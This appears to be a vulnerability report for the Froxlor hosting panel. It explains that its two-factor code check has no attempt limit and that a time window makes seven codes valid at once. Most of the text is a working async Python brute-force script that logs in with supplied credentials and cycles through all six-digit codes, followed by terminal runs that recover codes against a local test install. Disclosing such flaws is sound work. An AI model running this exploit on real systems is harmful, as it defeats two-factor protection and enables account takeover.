Currently there are no restrictions on attempts to enter the correct 2FA code. In contrast to the first step of the authentication (username + password) the fields of lastlogin_fail
and loginfail_count
in the database aren’t updated. An attacker can bypass the 2FA by simple brute force of all numbers from 000000 to 999999.
However the attacker still needs valid credentials (username + password). The brute force of up to 1000000 numbers may take some time (depending on the webserver performance).
This affects the 2FA via Authenticator App and via email.
In case of 2FA using an Authenticator App, the attacker doesn’t need to hit a single specific number. Actually there are always 7 valid codes, because of the 2FA discrepancy of 3 (3 codes from past, current code, 3 codes from future).
#!/usr/bin/env python3
import asyncio
import aiohttp
import requests
from aiolimiter import AsyncLimiter
limiter = AsyncLimiter(100, 0.1)
twofaFound = False
async def twoFA_login(twoFA_number, semaphore) -> None:
global twofaFound
if twofaFound == True:
return False
twoFA_number = str(twoFA_number).zfill(6)
async with aiohttp.ClientSession(cookies=indexReq.cookies) as session:
await semaphore.acquire()
if twofaFound == True:
semaphore.release()
else:
async with limiter:
#print(f"Begin downloading {url} seconds")
async with session.post(
url,
data={
"2fa_code": twoFA_number,
"action": "2fa_verify",
"send": "send",
"2faverify": ""
},
allow_redirects=False
) as resp:
await resp.read()
if "showmessage=2" not in resp.headers['Location'] and not twofaFound:
twofaFound = True
print("Found 2FA: " + twoFA_number)
semaphore.release()
async def twoFA_task(twoFA_number: int, semaphore) -> None:
await twoFA_login(twoFA_number, semaphore)
async def main() -> None:
semaphore = asyncio.Semaphore(value=100)
min = 0
max = 999999
step = 100000
for twofa_start in range(min, max, step):
print("Bruteforcing: " + str(twofa_start) + " - " + str(twofa_start+step))
tasks = [asyncio.create_task(twoFA_task(i, semaphore)) for i in range(twofa_start, twofa_start+step)]
done, pending = await asyncio.wait(tasks)
if twofaFound:
break
if __name__ == "__main__":
url = input("Enter Froxlor URL: ")
username = input("Enter username for twoFA account: ")
password = input("Enter password for twoFA account: ")
indexReq = requests.get(url)
if len(indexReq.cookies) == 0:
raise Exception("Didn't get any cookie")
loginReq = requests.post(
url,
data={
"loginname": username,
"password": password,
"script": "",
"qrystr": "",
"send": "send",
"dologin": ""
},
cookies=indexReq.cookies
)
if "2fa_code" not in loginReq.text:
raise Exception("Unexpected response, login failed?")
asyncio.run(main())
user@ubn22:~$ time ./2fa_brute.py
Enter Froxlor URL: http://127.0.0.1/froxlor/
Enter username for twoFA account: web2
Enter password for twoFA account: rockYOU123!
Bruteforcing: 0 - 100000
Bruteforcing: 100000 - 200000
Found 2FA: 142981
real 6m31,732s
user 2m43,736s
sys 0m19,115s
user@ubn22:~$ time ./2fa_brute.py
Enter Froxlor URL: http://127.0.0.1/froxlor/
Enter username for twoFA account: web3
Enter password for twoFA account: rockYOU123!
Bruteforcing: 0 - 100000
Found 2FA: 009429
real 0m51,858s
user 0m21,239s
sys 0m1,412s